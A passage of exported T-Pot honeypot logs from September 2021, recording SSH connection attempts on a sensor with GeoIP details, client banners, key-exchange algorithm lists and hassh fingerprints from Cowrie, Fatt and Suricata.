f555226df1963d1d3c09daf865abdc9a", "session": "b05ac15b10b2", "@version": "1", "timestamp": "2021-09-20T11:16:33.655097Z", "@timestamp": "2021-09-20T11:16:33.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28327	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:40.035796+03	2021-09-20 14:30:02.684524+03	{"_id": "TwbsAnwBvYTbRNuEHS1v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5a02d6f2dd58", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:40.035796Z", "@timestamp": "2021-09-20T11:16:40.035Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28328	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:09.603578+03	2021-09-20 14:30:02.686554+03	{"_id": "8gbsAnwBvYTbRNuEji3M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:57622 (192.168.176.2:22) [session: 26339735a2ac]", "session": "26339735a2ac", "@version": "1", "protocol": "ssh", "src_port": 57622, "dest_port": 22, "timestamp": "2021-09-20T11:17:09.603578Z", "@timestamp": "2021-09-20T11:17:09.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28329	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:09.686474+03	2021-09-20 14:30:02.687555+03	{"_id": "8wbsAnwBvYTbRNuEji3M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "26339735a2ac", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:17:09.686474Z", "@timestamp": "2021-09-20T11:17:09.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28330	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:17:10.214929+03	2021-09-20 14:30:02.688553+03	{"_id": "9wbsAnwBvYTbRNuEkS3b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57622, "dest_port": 22, "timestamp": "2021-09-20T11:17:10.214929", "@timestamp": "2021-09-20T11:17:10.214Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28347	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:08.606267+03	2021-09-20 14:30:02.711553+03	{"_id": "6wbsAnwBvYTbRNuEii3j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "b80bb2fd57d2", "@version": "1", "duration": 3.022278308868408, "timestamp": "2021-09-20T11:17:08.606267Z", "@timestamp": "2021-09-20T11:17:08.606Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28331	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:10.215772+03	2021-09-20 14:30:02.689556+03	{"_id": "-AbsAnwBvYTbRNuEki22", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "26339735a2ac", "@version": "1", "timestamp": "2021-09-20T11:17:10.215772Z", "@timestamp": "2021-09-20T11:17:10.215Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28332	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:17:11.541277+03	2021-09-20 14:30:02.69155+03	{"_id": "_gbsAnwBvYTbRNuEli2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:50986 (192.168.176.2:22) [session: ac745a7a51ba]", "session": "ac745a7a51ba", "@version": "1", "protocol": "ssh", "src_port": 50986, "dest_port": 22, "timestamp": "2021-09-20T11:17:11.541277Z", "@timestamp": "2021-09-20T11:17:11.541Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28333	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:17:11.55909+03	2021-09-20 14:30:02.692554+03	{"_id": "AAbsAnwBvYTbRNuEli6d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ac745a7a51ba", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:17:11.559090Z", "@timestamp": "2021-09-20T11:17:11.559Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28334	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:17:11.862417+03	2021-09-20 14:30:02.693554+03	{"_id": "AQbsAnwBvYTbRNuEli6d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ac745a7a51ba", "@version": "1", "timestamp": "2021-09-20T11:17:11.862417Z", "@timestamp": "2021-09-20T11:17:11.862Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28335	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:17:11.818729+03	2021-09-20 14:30:02.695553+03	{"_id": "AgbsAnwBvYTbRNuEmC5k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1385766596313465, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50986, "dest_port": 22, "timestamp": "2021-09-20T11:17:11.818729Z", "@timestamp": "2021-09-20T11:17:11.818Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28336	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:17:11.862187+03	2021-09-20 14:30:02.696553+03	{"_id": "AwbsAnwBvYTbRNuEmS6q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 